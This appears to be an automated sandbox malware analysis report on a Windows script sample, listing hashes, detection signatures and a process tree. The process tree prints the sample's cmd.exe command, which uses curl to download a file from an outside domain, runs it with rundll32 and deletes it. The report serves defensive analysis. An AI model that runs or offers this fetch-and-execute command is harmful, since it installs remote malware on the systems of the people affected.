Analysis
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max time kernel
326s -
max time network
329s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
26-04-2023 15:07
Static task
static1
Behavioral task
behavioral1
Sample
doc_88BFNS_57.wsf
Resource
win10-20230220-en
windows10-1703-x64
3 signatures
600 seconds
Behavioral task
behavioral2
Sample
doc_88BFNS_57.wsf
Resource
win7-20230220-en
windows7-x64
1 signatures
600 seconds
General
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Target
doc_88BFNS_57.wsf
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Size
192KB
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MD5
d6d0f8cf0b9383802fd4868c2082017d
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SHA1
16b03efbf2aa547ca308ae50d8673012844c52b9
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SHA256
f6ff607f55b6c53b700e3c1a8a4230c01641111bfc09645ba54c75ca2b1587cd
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SHA512
0e331aeef702394d3b04939f0755bdbbc79ac24e23cbf54fad51645da045b598ee4077ba629af1a5f1e833b062f92acd033fd718c41dedb27b5041199f449efb
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SSDEEP
6144:rPYy39mm2+oVmcySJnfzKe1ZFmqRzgim/Ytix:TYy3Cdtn1Hw
Score
8/10
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 2 4040 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4040 wrote to memory of 2284 4040 WScript.exe 66 PID 4040 wrote to memory of 2284 4040 WScript.exe 66
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\doc_88BFNS_57.wsf"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c curl -s --ssl-no-revoke --fail https://biznessfarm.buzz/mmm2/DiqLyFvy2N0LYrttmJnMIAadyzDl_bYhxQ~~/QdaQp4v9soc3yoFDOCHH_cpZg_ECJjHlNg~~/ --output nmohzblo.obh && if exist nmohzblo.obh rundll32 nmohzblo.obh,bYXjdERymsFY && del nmohzblo.obh2⤵PID:2284
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